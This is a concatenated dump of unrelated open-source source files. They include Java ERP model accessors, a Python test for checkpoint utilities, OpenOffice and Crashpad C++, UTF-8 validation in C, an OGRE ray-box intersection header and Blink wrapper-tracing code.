public boolean isSelfService ()
{
Object oo = get_Value(COLUMNNAME_IsSelfService);
if (oo != null)
{
if (oo instanceof Boolean)
return ((Boolean)oo).booleanValue();
return "Y".equals(oo);
}
return false;
}
/** Set IsUseForPartnerRequestWindow.
@param IsUseForPartnerRequestWindow
Flag that tells if the R_Request entries of this type will be displayed or not in the business partner request window (Vorgang)
*/
@Override
public void setIsUseForPartnerRequestWindow (boolean IsUseForPartnerRequestWindow)
{
set_Value (COLUMNNAME_IsUseForPartnerRequestWindow, Boolean.valueOf(IsUseForPartnerRequestWindow));
}
/** Get IsUseForPartnerRequestWindow.
@return Flag that tells if the R_Request entries of this type will be displayed or not in the business partner request window (Vorgang)
*/
@Override
public boolean isUseForPartnerRequestWindow ()
{
Object oo = get_Value(COLUMNNAME_IsUseForPartnerRequestWindow);
if (oo != null)
{
if (oo instanceof Boolean)
return ((Boolean)oo).booleanValue();
return "Y".equals(oo);
}
return false;
}
/** Set Name.
@param Name
Alphanumeric identifier of the entity
*/
@Override
public void setName (java.lang.String Name)
{
set_Value (COLUMNNAME_Name, Name);
}
/** Get Name.
@return Alphanumeric identifier of the entity
*/
@Override
public java.lang.String getName ()
{
return (java.lang.String)get_Value(COLUMNNAME_Name);
}
/** Set Request Type.
@param R_RequestType_ID
Type of request (e.g. Inquiry, Complaint, ..)
*/
@Override
public void setR_RequestType_ID (int R_RequestType_ID)
{
if (R_RequestType_ID < 1)
set_ValueNoCheck (COLUMNNAME_R_RequestType_ID, null);
else
set_ValueNoCheck (COLUMNNAME_R_RequestType_ID, Integer.valueOf(R_RequestType_ID));
}
/** Get Request Type.
@return Type of request (e.g. Inquiry, Complaint, ..)
*/
@Override
public int getR_RequestType_ID ()
{
Integer ii = (Integer)get_Value(COLUMNNAME_R_RequestType_ID);
if (ii == null)
return 0;
return ii.intValue();
}
@Override
public org.compiere.model.I_R_StatusCategory getR_StatusCategory() throws RuntimeException
{
return get_ValueAsPO(COLUMNNAME_R_StatusCategory_ID, org.compiere.model.I_R_StatusCategory.class);
}
@Override
public void setR_StatusCategory(org.compiere.model.I_R_StatusCategory R_StatusCategory)
{
set_ValueFromPO(COLUMNNAME_R_StatusCategory_ID, org.compiere.model.I_R_StatusCategory.class, R_StatusCategory);
}
/** Set Status Category.
@param R_StatusCategory_ID
Request Status Category
*/
@Override
public void setR_StatusCategory_ID (int R_StatusCategory_ID)
{
if (R_StatusCategory_ID < 1)
set_Value (COLUMNNAME_R_StatusCategory_ID, null);
else
set_Value (COLUMNNAME_R_StatusCategory_ID, Integer.valueOf(R_StatusCategory_ID));
}
/** Get Status Category.
@return Request Status Category
*/
@Override
public int getR_StatusCategory_ID ()
{
Integer ii = (Integer)get_Value(COLUMNNAME_R_StatusCategory_ID);
if (ii == null)
return 0;
return ii.intValue();
}
} | 4,367 |
355 | <filename>tests/test_utils/test_misc.py<gh_stars>100-1000
# Copyright (c) OpenMMLab. All rights reserved.
import os.path as osp
import tempfile
import pytest
import torch
from mmselfsup.utils.misc import find_latest_checkpoint, tensor2imgs
def test_tensor2imgs():
with pytest.raises(AssertionError):
tensor2imgs(torch.rand((3, 16, 16)))
fake_tensor = torch.rand((3, 3, 16, 16))
fake_imgs = tensor2imgs(fake_tensor)
assert len(fake_imgs) == 3
assert fake_imgs[0].shape == (16, 16, 3)
def test_find_latest_checkpoint():
with tempfile.TemporaryDirectory() as tmpdir:
path = tmpdir
latest = find_latest_checkpoint(path)
# There are no checkpoints in the path.
assert latest is None
path = osp.join(tmpdir, 'none')
latest = find_latest_checkpoint(path)
# The path does not exist.
assert latest is None
with tempfile.TemporaryDirectory() as tmpdir:
with open(osp.join(tmpdir, 'latest.pth'), 'w') as f:
f.write('latest')
path = tmpdir
latest = find_latest_checkpoint(path)
assert latest == osp.join(tmpdir, 'latest.pth')
with tempfile.TemporaryDirectory() as tmpdir:
with open(osp.join(tmpdir, 'iter_4000.pth'), 'w') as f:
f.write('iter_4000')
with open(osp.join(tmpdir, 'iter_8000.pth'), 'w') as f:
f.write('iter_8000')
path = tmpdir
latest = find_latest_checkpoint(path)
assert latest == osp.join(tmpdir, 'iter_8000.pth')
with tempfile.TemporaryDirectory() as tmpdir:
with open(osp.join(tmpdir, 'epoch_1.pth'), 'w') as f:
f.write('epoch_1')
with open(osp.join(tmpdir, 'epoch_2.pth'), 'w') as f:
f.write('epoch_2')
path = tmpdir
latest = find_latest_checkpoint(path)
assert latest == osp.join(tmpdir, 'epoch_2.pth')
| 845 |
679 | <reponame>Grosskopf/openoffice<gh_stars>100-1000
/**************************************************************
*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*
*************************************************************/
#include <precomp.h>
#include <adc_msg.hxx>
// NOT FULLY DEFINED SERVICES
#include <cosv/file.hxx>
#include <cosv/tpl/tpltools.hxx>
namespace autodoc
{
Messages::Messages()
: aMissingDocs(),
aParseErrors(),
aInvalidConstSymbols(),
aUnresolvedLinks(),
aTypeVsMemberMisuses()
{
}
Messages::~Messages()
{
}
void
Messages::WriteFile(const String & i_sOutputFilePath)
{
csv::File
aOut(i_sOutputFilePath, csv::CFM_CREATE);
aOut.open();
// KORR_FUTURE Enable this when appropriate:
WriteParagraph( aOut,
aParseErrors,
"Incompletely Parsed Files",
"Stopped parsing at " );
WriteParagraph( aOut,
aMissingDocs,
"Entities Without Documentation",
" in " );
WriteParagraph( aOut,
aInvalidConstSymbols,
"Incorrectly Written Const Symbols",
" in " );
WriteParagraph( aOut,
aUnresolvedLinks,
"Unresolved Links",
" in\n " );
WriteParagraph( aOut,
aTypeVsMemberMisuses,
"Confusion or Misuse of <Type> vs. <Member>",
" in " );
aOut.close();
}
void
Messages::Out_MissingDoc( const String & i_sEntity,
const String & i_sFile,
uintt i_nLine)
{
AddValue( aMissingDocs,
i_sEntity,
i_sFile,
i_nLine );
}
void
Messages::Out_ParseError( const String & i_sFile,
uintt i_nLine)
{
aParseErrors[Location(i_sFile,i_nLine)] = String::Null_();
}
void
Messages::Out_InvalidConstSymbol( const String & i_sText,
const String & i_sFile,
uintt i_nLine)
{
AddValue( aInvalidConstSymbols,
i_sText,
i_sFile,
i_nLine );
}
void
Messages::Out_UnresolvedLink( const String & i_sLinkText,
const String & i_sFile,
uintt i_nLine)
{
AddValue( aUnresolvedLinks,
i_sLinkText,
i_sFile,
i_nLine );
}
void
Messages::Out_TypeVsMemberMisuse( const String & i_sLinkText,
const String & i_sFile,
uintt i_nLine)
{
AddValue( aTypeVsMemberMisuses,
i_sLinkText,
i_sFile,
i_nLine );
}
Messages &
Messages::The_()
{
static Messages TheMessages_;
return TheMessages_;
}
void
Messages::AddValue( MessageMap & o_dest,
const String & i_sText,
const String & i_sFile,
uintt i_nLine )
{
String &
rDest = o_dest[Location(i_sFile,i_nLine)];
StreamLock
slDest(2000);
if (NOT rDest.empty())
slDest() << rDest;
slDest() << "\n " << i_sText;
rDest = slDest().c_str();
}
void
Messages::WriteParagraph( csv::File & o_out,
const MessageMap & i_source,
const String & i_title,
const String & )
{
StreamStr aLine(2000);
// Write title of paragraph:
aLine << i_title
<< "\n";
o_out.write(aLine.c_str());
aLine.seekp(0);
for (uintt i = i_title.size(); i > 0; --i)
{
aLine << '-';
}
aLine << "\n\n";
o_out.write(aLine.c_str());
// Write Content
MessageMap::const_iterator it = i_source.begin();
MessageMap::const_iterator itEnd = i_source.end();
for ( ; it != itEnd; ++it )
{
aLine.seekp(0);
aLine << (*it).first.sFile;
// Nobody wants to see this, if we don't know the line:
if ((*it).first.nLine != 0)
{
aLine << ", line "
<< (*it).first.nLine;
}
if (NOT (*it).second.empty())
{
aLine << ':'
<< (*it).second
<< "\n";
}
o_out.write(aLine.c_str());
}
o_out.write("\n\n\n");
}
} // namespace autodoc
| 2,682 |
2,151 | // Copyright 2015 The Crashpad Authors. All rights reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include <memory>
#include "snapshot/win/memory_snapshot_win.h"
namespace crashpad {
namespace internal {
MemorySnapshotWin::MemorySnapshotWin()
: MemorySnapshot(),
process_reader_(nullptr),
address_(0),
size_(0),
initialized_() {
}
MemorySnapshotWin::~MemorySnapshotWin() {
}
void MemorySnapshotWin::Initialize(ProcessReaderWin* process_reader,
uint64_t address,
uint64_t size) {
INITIALIZATION_STATE_SET_INITIALIZING(initialized_);
process_reader_ = process_reader;
address_ = address;
DLOG_IF(WARNING, size >= std::numeric_limits<size_t>::max())
<< "size overflow";
size_ = static_cast<size_t>(size);
INITIALIZATION_STATE_SET_VALID(initialized_);
}
uint64_t MemorySnapshotWin::Address() const {
INITIALIZATION_STATE_DCHECK_VALID(initialized_);
return address_;
}
size_t MemorySnapshotWin::Size() const {
INITIALIZATION_STATE_DCHECK_VALID(initialized_);
return size_;
}
bool MemorySnapshotWin::Read(Delegate* delegate) const {
INITIALIZATION_STATE_DCHECK_VALID(initialized_);
if (size_ == 0) {
return delegate->MemorySnapshotDelegateRead(nullptr, size_);
}
std::unique_ptr<uint8_t[]> buffer(new uint8_t[size_]);
if (!process_reader_->ReadMemory(address_, size_, buffer.get())) {
return false;
}
return delegate->MemorySnapshotDelegateRead(buffer.get(), size_);
}
const MemorySnapshot* MemorySnapshotWin::MergeWithOtherSnapshot(
const MemorySnapshot* other) const {
return MergeWithOtherSnapshotImpl(this, other);
}
} // namespace internal
} // namespace crashpad
| 781 |
2,098 | <filename>src/dep/libnu/utf8.c
#include "utf8.h"
#ifdef NU_WITH_UTF8_READER
#ifdef NU_WITH_VALIDATION
int nu_utf8_validread(const char *encoded, size_t max_len) {
int len = utf8_validread_basic(encoded, max_len);
if (len <= 0) {
return 0;
}
/* Unicode core spec, D92, Table 3-7
*/
switch (len) {
/* case 1: single byte sequence can't be > 0x7F and produce len == 1
*/
case 2: {
uint8_t p1 = *(const unsigned char *)(encoded);
if (p1 < 0xC2) { /* 2-byte sequences with p1 > 0xDF are 3-byte sequences */
return 0;
}
/* the rest will be handled by utf8_validread_basic() */
break;
}
case 3: {
uint8_t p1 = *(const unsigned char *)(encoded);
/* 3-byte sequences with p1 < 0xE0 are 2-byte sequences,
* 3-byte sequences with p1 > 0xEF are 4-byte sequences */
uint8_t p2 = *(const unsigned char *)(encoded + 1);
if (p1 == 0xE0 && p2 < 0xA0) {
return 0;
}
else if (p1 == 0xED && p2 > 0x9F) {
return 0;
}
/* (p2 < 0x80 || p2 > 0xBF) and p3 will be covered
* by utf8_validread_basic() */
break;
}
case 4: {
uint8_t p1 = *(const unsigned char *)(encoded);
if (p1 > 0xF4) { /* 4-byte sequence with p1 < 0xF0 are 3-byte sequences */
return 0;
}
uint8_t p2 = *(const unsigned char *)(encoded + 1);
if (p1 == 0xF0 && p2 < 0x90) {
return 0;
}
/* (p2 < 0x80 || p2 > 0xBF) and the rest (p3, p4)
* will be covered by utf8_validread_basic() */
break;
}
} /* switch */
return len;
}
#endif /* NU_WITH_VALIDATION */
#endif /* NU_WITH_UTF8_READER */
#ifdef NU_WITH_UTF8_WRITER
char* nu_utf8_write(uint32_t unicode, char *utf8) {
unsigned codepoint_len = utf8_codepoint_length(unicode);
if (utf8 != 0) {
switch (codepoint_len) {
case 1: *utf8 = (char)(unicode); break;
case 2: b2_utf8(unicode, utf8); break;
case 3: b3_utf8(unicode, utf8); break;
default: b4_utf8(unicode, utf8); break; /* len == 4 */
}
}
return utf8 + codepoint_len;
}
#endif /* NU_WITH_UTF8_WRITER */
| 905 |
701 | /*
-----------------------------------------------------------------------------
This source file is part of OGRE-Next
(Object-oriented Graphics Rendering Engine)
For the latest info, see http://www.ogre3d.org/
Copyright (c) 2000-2014 Tor<NAME> Ltd
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
-----------------------------------------------------------------------------
*/
#ifndef _Ogre_ArrayRay_H_
#define _Ogre_ArrayRay_H_
#include "OgreArrayVector3.h"
#include "OgreArrayAabb.h"
namespace Ogre
{
class ArrayRay
{
public:
ArrayVector3 mOrigin;
ArrayVector3 mDirection;
ArrayRay() : mOrigin( ArrayVector3::ZERO ), mDirection( ArrayVector3::UNIT_Z ) {}
ArrayRay( const ArrayVector3 &origin, const ArrayVector3 &direction) :
mOrigin( origin ), mDirection( direction ) {}
/// SLAB method
/// See https://tavianator.com/fast-branchless-raybounding-box-intersections-part-2-nans/
ArrayMaskR intersects( const ArrayAabb &aabb ) const
{
ArrayVector3 invDir = Mathlib::SetAll( 1.0f ) / mDirection;
ArrayVector3 intersectAtMinPlane = (aabb.getMinimum() - mOrigin) * invDir;
ArrayVector3 intersectAtMaxPlane = (aabb.getMaximum() - mOrigin) * invDir;
ArrayVector3 minIntersect = intersectAtMinPlane;
minIntersect.makeFloor( intersectAtMaxPlane );
ArrayVector3 maxIntersect = intersectAtMinPlane;
maxIntersect.makeCeil( intersectAtMaxPlane );
ArrayReal tmin, tmax;
tmin = minIntersect.mChunkBase[0];
tmax = maxIntersect.mChunkBase[0];
#if OGRE_CPU == OGRE_CPU_ARM && OGRE_USE_SIMD == 1
//ARM's NEON behaves the way we want, by propagating NaNs. No need to do anything weird
tmin = Mathlib::Max( Mathlib::Max( minIntersect.mChunkBase[0],
minIntersect.mChunkBase[1] ),
minIntersect.mChunkBase[2] );
tmax = Mathlib::Min( Mathlib::Min( maxIntersect.mChunkBase[0],
maxIntersect.mChunkBase[1] ),
maxIntersect.mChunkBase[2] );
#else
//We need to do weird min/max so that NaNs get propagated
//(happens if mOrigin is in the AABB's border)
tmin = Mathlib::Max( tmin, Mathlib::Min( minIntersect.mChunkBase[1], tmax ) );
tmax = Mathlib::Min( tmax, Mathlib::Max( maxIntersect.mChunkBase[1], tmin ) );
tmin = Mathlib::Max( tmin, Mathlib::Min( minIntersect.mChunkBase[2], tmax ) );
tmax = Mathlib::Min( tmax, Mathlib::Max( maxIntersect.mChunkBase[2], tmin ) );
#endif
//tmax >= max( tmin, 0 )
return Mathlib::CompareGreaterEqual( tmax, Mathlib::Max( tmin, ARRAY_REAL_ZERO ) );
}
};
}
#endif
| 1,577 |
5,766 | /* automatically generated by configure */
/* edit configure.in to change version number */
#define HPDF_MAJOR_VERSION 2
#define HPDF_MINOR_VERSION 3
#define HPDF_BUGFIX_VERSION 0
#define HPDF_EXTRA_VERSION "RC2"
#define HPDF_VERSION_TEXT "2.3.0RC2"
#define HPDF_VERSION_ID 20300
| 95 |
463 | <reponame>ciskoinch8/vimrc
# pylint: disable=missing-docstring,too-few-public-methods,import-error
from UNINFERABLE import ImportedMetaclass, ImportedMetaclass2
class Meta(type):
pass
class Class(metaclass=Meta):
pass
def func_scope():
class Meta2(type):
pass
class Class2(metaclass=Meta2):
pass
return Class2
class ClassScope:
class Meta3(type):
pass
class Class3(metaclass=Meta3):
pass
instance = Class3()
def mixed_scopes():
class ClassM(metaclass=Meta):
pass
return ClassM
def imported_and_nested_scope1():
class ClassImp1(metaclass=ImportedMetaclass):
pass
class ClassImp2(metaclass=ImportedMetaclass):
pass
return ClassImp1, ClassImp2
def imported_and_nested_scope2():
class ClassImp3(metaclass=ImportedMetaclass2):
pass
return ClassImp3
| 370 |
962 | <gh_stars>100-1000
/* this file is requred to build application library, armar.exe can't build
* libraries without at least one object input file.
*/
| 41 |
2,542 | // ------------------------------------------------------------
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License (MIT). See License.txt in the repo root for license information.
// ------------------------------------------------------------
#include "stdafx.h"
using namespace std;
using namespace Common;
using namespace Reliability;
using namespace Reliability::ReconfigurationAgentComponent;
using namespace Reliability::ReconfigurationAgentComponent::Upgrade;
using namespace Reliability::ReconfigurationAgentComponent::ReliabilityUnitTest;
using namespace Reliability::ReconfigurationAgentComponent::ReliabilityUnitTest::StateManagement;
using namespace Infrastructure;
EntityExecutionContextTestUtility::EntityExecutionContextTestUtility(ScenarioTest & test) :
test_(test)
{
}
CommitTypeDescriptionUtility EntityExecutionContextTestUtility::ExecuteEntityProcessor(
std::wstring const & ftShortName,
EntityProcessor const & processor)
{
auto entry = test_.GetLFUMEntry(ftShortName);
Infrastructure::StateMachineActionQueue queue;
CommitTypeDescriptionUtility rv;
{
auto lock = entry->Test_CreateLock();
Infrastructure::EntityExecutionContext context = Infrastructure::EntityExecutionContext::Create(
test_.RA,
queue,
lock.UpdateContextObj,
lock.Current);
processor(context);
if (lock.IsUpdating)
{
rv = CommitTypeDescriptionUtility(lock.CreateCommitDescription().Type);
}
}
queue.ExecuteAllActions(DefaultActivityId, entry, test_.RA);
return rv;
}
| 504 |
672 | /*
* Copyright 1996 Massachusetts Institute of Technology
*
* Permission to use, copy, modify, and distribute this software and
* its documentation for any purpose and without fee is hereby
* granted, provided that both the above copyright notice and this
* permission notice appear in all copies, that both the above
* copyright notice and this permission notice appear in all
* supporting documentation, and that the name of M.I.T. not be used
* in advertising or publicity pertaining to distribution of the
* software without specific, written prior permission. M.I.T. makes
* no representations about the suitability of this software for any
* purpose. It is provided "as is" without express or implied
* warranty.
*
* THIS SOFTWARE IS PROVIDED BY M.I.T. ``AS IS''. M.I.T. DISCLAIMS
* ALL EXPRESS OR IMPLIED WARRANTIES WITH REGARD TO THIS SOFTWARE,
* INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. IN NO EVENT
* SHALL M.I.T. BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
* USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* $ANA: addr2ascii.c,v 1.1 1996/06/13 18:41:46 wollman Exp $
*/
#include <sys/cdefs.h>
__FBSDID("$FreeBSD: src/lib/libc/net/addr2ascii.c,v 1.2 2002/03/22 21:52:28 obrien Exp $");
#include <sys/types.h>
#include <sys/socket.h>
#include <errno.h>
#include <string.h>
#include <net/if_dl.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdlib.h>
/*-
* Convert a network address from binary to printable numeric format.
* This API is copied from INRIA's IPv6 implementation, but it is a
* bit bogus in two ways:
*
* 1) There is no value in passing both an address family and
* an address length; either one should imply the other,
* or we should be passing sockaddrs instead.
* 2) There should by contrast be /added/ a length for the buffer
* that we pass in, so that programmers are spared the need to
* manually calculate (read: ``guess'') the maximum length.
*
* Flash: the API is also the same in the NRL implementation, and seems to
* be some sort of standard, so we appear to be stuck with both the bad
* naming and the poor choice of arguments.
*/
char *
addr2ascii(int af, const void *addrp, int len, char *buf)
{
if (buf == NULL) {
static char *staticbuf = NULL;
if (staticbuf == NULL) {
staticbuf = malloc(64); // 64 for AF_LINK > 16 for AF_INET
if (staticbuf == NULL) {
return NULL;
}
}
buf = staticbuf;
}
switch(af) {
case AF_INET:
if (len != sizeof(struct in_addr)) {
errno = ENAMETOOLONG;
return 0;
}
strcpy(buf, inet_ntoa(*(const struct in_addr *)addrp));
break;
case AF_LINK:
if (len != sizeof(struct sockaddr_dl)) {
errno = ENAMETOOLONG;
return 0;
}
strcpy(buf, link_ntoa((const struct sockaddr_dl *)addrp));
break;
default:
errno = EPROTONOSUPPORT;
return 0;
}
return buf;
}
| 1,123 |
679 | /**************************************************************
*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*
*************************************************************/
package org.openoffice.xmerge.util.registry;
import java.io.*;
import java.util.*;
import java.util.jar.*;
import org.xml.sax.*;
import org.w3c.dom.*;
import javax.xml.parsers.*;
import java.net.URL;
import java.net.JarURLConnection;
/**
* The <code>ConverterInfoReader</code> pulls a META-INF/converter.xml
* file out of a jar file and parses it, providing access to this
* information in a <code>Vector</code> of <code>ConverterInfo</code>
* objects.
*
* @author <NAME>
*/
public class ConverterInfoReader {
private final static String TAG_CONVERTER = "converter";
private final static String ATTRIB_OFFICE_TYPE = "type";
private final static String ATTRIB_VERSION = "version";
private final static String TAG_NAME = "converter-display-name";
private final static String TAG_DESC = "converter-description";
private final static String TAG_VENDOR = "converter-vendor";
private final static String TAG_CLASS_IMPL = "converter-class-impl";
private final static String TAG_TARGET = "converter-target";
private final static String ATTRIB_DEVICE_TYPE = "type";
private final static String TAG_XSLT_DESERIAL = "converter-xslt-deserialize";
private final static String TAG_XSLT_SERIAL = "converter-xslt-serialize";
private String jarfilename;
private Document document;
private Vector converterInfoList;
/**
* Constructor. A jar file is passed in. The jar file is
* parsed and the <code>Vector</code> of <code>ConverterInfo</code>
* objects is built.
*
* @param jar The URL of the jar file to process.
* @param shouldvalidate Boolean to enable or disable xml validation.
*
* @throws IOException If the jar file cannot
* be read or if the
* META-INF/converter.xml
* can not be read in the
* jar file.
* @throws ParserConfigurationException If the DocumentBuilder
* can not be built.
* @throws org.xml.sax.SAXException If the converter.xml
* file can not be parsed.
* @throws RegistryException If the ConverterFactory
* implementation of a
* plug-in cannot be loaded.
*/
public ConverterInfoReader(String jar,boolean shouldvalidate) throws IOException,
ParserConfigurationException, org.xml.sax.SAXException,
RegistryException {
InputStream istream;
InputSource isource;
DocumentBuilderFactory builderFactory;
DocumentBuilder builder;
JarURLConnection jarConnection;
JarEntry jarentry;
JarFile jarfile;
URL url;
converterInfoList = new Vector();
jarfilename = jar;
// Get Jar via URL
//
url = new URL("jar:" + jar + "!/META-INF/converter.xml");
jarConnection = (JarURLConnection)url.openConnection();
jarentry = jarConnection.getJarEntry();
jarfile = jarConnection.getJarFile();
// Build the InputSource
//
istream = jarfile.getInputStream(jarentry);
isource = new InputSource(istream);
// Get the DOM builder and build the document.
//
builderFactory = DocumentBuilderFactory.newInstance();
//DTD validation
if (shouldvalidate){
System.out.println("Validating xml...");
builderFactory.setValidating(true);
}
//
builder = builderFactory.newDocumentBuilder();
document = builder.parse(isource);
// Parse the document.
//
parseDocument();
}
/**
* Loops over the <i>converter</i> <code>Node</code> in the converter.xml
* file and processes them.
*
* @throws RegistryException If the plug-in associated with a
* specific <i>converter</i> <code>Node</code>
* cannot be loaded.
*/
private void parseDocument() throws RegistryException {
Node converterNode;
NodeList converterNodes = document.getElementsByTagName(TAG_CONVERTER);
for (int i=0; i < converterNodes.getLength(); i++) {
converterNode = converterNodes.item(i);
if (converterNode.getNodeType() == Node.ELEMENT_NODE) {
parseConverterNode((Element)converterNode);
}
}
}
/**
* Parses a <i>converter</i> node, pulling the information out of
* the <code>Node</code> and placing it in a <code>ConverterInfo</code>
* object, and adds that object to a <code>Vector</code> of
* <code>ConverterInfo</code> objects.
*
* @param e The <code>Element</code> corresponding to the
* <i>converter</i> XML tag.
*
*
* @throws RegistryException If the plug-in cannot be loaded.
*/
private void parseConverterNode(Element e) throws RegistryException {
Element detailElement;
Node detailNode;
String elementTagName;
String officeMime = null;
Vector deviceMime = new Vector();
String name = null;
String desc = null;
String version = null;
String vendor = null;
String classImpl = null;
String xsltSerial = null;
String xsltDeserial= null;
String temp;
temp = e.getAttribute(ATTRIB_OFFICE_TYPE);
if (temp.length() != 0) {
officeMime = temp;
}
temp = e.getAttribute(ATTRIB_VERSION);
if (temp.length() != 0) {
version = temp;
}
NodeList detailNodes = e.getChildNodes();
for (int i=0; i < detailNodes.getLength(); i++) {
detailNode = detailNodes.item(i);
if (detailNode.getNodeType() == Node.ELEMENT_NODE) {
detailElement = (Element)detailNode;
elementTagName = detailElement.getTagName();
if (TAG_NAME.equalsIgnoreCase(elementTagName)) {
name = getTextValue(detailElement);
} else if (TAG_DESC.equalsIgnoreCase(elementTagName)) {
desc = getTextValue(detailElement);
} else if (TAG_VENDOR.equalsIgnoreCase(elementTagName)) {
vendor = getTextValue(detailElement);
} else if (TAG_XSLT_SERIAL.equalsIgnoreCase(elementTagName)) {
xsltSerial = getTextValue(detailElement);
} else if (TAG_XSLT_DESERIAL.equalsIgnoreCase(elementTagName)) {
xsltDeserial = getTextValue(detailElement);
} else if (TAG_CLASS_IMPL.equalsIgnoreCase(elementTagName)) {
classImpl = getTextValue(detailElement);
} else if (TAG_TARGET.equalsIgnoreCase(elementTagName)) {
temp = detailElement.getAttribute(ATTRIB_DEVICE_TYPE);
if (temp.length() != 0) {
deviceMime.add(temp);
}
}
}
}
ConverterInfo converterInfo;
if ((xsltSerial==null) || (xsltDeserial==null)){
converterInfo = new ConverterInfo(jarfilename,
officeMime, deviceMime, name,
desc, version, vendor,classImpl);
}
else{
converterInfo = new ConverterInfo(jarfilename,
officeMime, deviceMime, name,
desc, version, vendor,classImpl,
xsltSerial,xsltDeserial);
}
/*ConverterInfo converterInfo = new ConverterInfo(jarfilename,
officeMime, deviceMime, name, desc, version, vendor,
classImpl);*/
converterInfoList.add(converterInfo);
}
/**
* Helper function to get the text value of an
* <code>Element</code>.
*
* @param e The <code>Element</code> to process.
*
* @return The text value of the <code>Element</code>.
*/
private String getTextValue(Element e) {
NodeList tempNodes = e.getChildNodes();
String text = null;
Node tempNode;
for (int j=0; j < tempNodes.getLength(); j++) {
tempNode = tempNodes.item(j);
if (tempNode.getNodeType() == Node.TEXT_NODE) {
text = tempNode.getNodeValue().trim();
break;
}
}
return text;
}
/**
* Returns an <code>Enumeration</code> of <code>ConverterInfo</code>
* objects.
*
* @return An <code>Enumeration</code> of <code>ConverterInfo</code>
* objects.
*/
public Enumeration getConverterInfoEnumeration() {
return (converterInfoList.elements());
}
}
| 4,539 |
23,220 | <reponame>yuanweikang2020/canal
package com.alibaba.otter.canal.admin.service;
import java.util.List;
import com.alibaba.otter.canal.admin.model.NodeServer;
import com.alibaba.otter.canal.admin.model.Pager;
public interface NodeServerService {
void save(NodeServer nodeServer);
NodeServer detail(Long id);
void update(NodeServer nodeServer);
void delete(Long id);
List<NodeServer> findAll(NodeServer nodeServer);
Pager<NodeServer> findList(NodeServer nodeServer, Pager<NodeServer> pager);
int remoteNodeStatus(String ip, Integer port);
String remoteCanalLog(Long id);
boolean remoteOperation(Long id, String option);
}
| 223 |
3,788 | <gh_stars>1000+
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License. See LICENSE in the project root for license information.
#pragma once
#include "NavigationViewTemplateSettings.g.h"
#include "NavigationViewTemplateSettings.properties.h"
class NavigationViewTemplateSettings :
public winrt::implementation::NavigationViewTemplateSettingsT<NavigationViewTemplateSettings>,
public NavigationViewTemplateSettingsProperties
{
};
| 139 |
2,151 | <reponame>zipated/src
// Copyright 2016 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "third_party/blink/renderer/platform/bindings/script_wrappable_visitor.h"
#include "third_party/blink/renderer/platform/bindings/dom_wrapper_map.h"
#include "third_party/blink/renderer/platform/bindings/trace_wrapper_base.h"
#include "third_party/blink/renderer/platform/supplementable.h"
namespace blink {
void ScriptWrappableVisitor::TraceWrappers(
DOMWrapperMap<ScriptWrappable>* wrapper_map,
const ScriptWrappable* key) {
Visit(wrapper_map, key);
}
void ScriptWrappableVisitor::DispatchTraceWrappers(
TraceWrapperBase* wrapper_base) {
wrapper_base->TraceWrappers(this);
}
void ScriptWrappableVisitor::DispatchTraceWrappersForSupplement(
TraceWrapperBaseForSupplement* wrapper_base) {
wrapper_base->TraceWrappers(this);
}
} // namespace blink
| 324 |
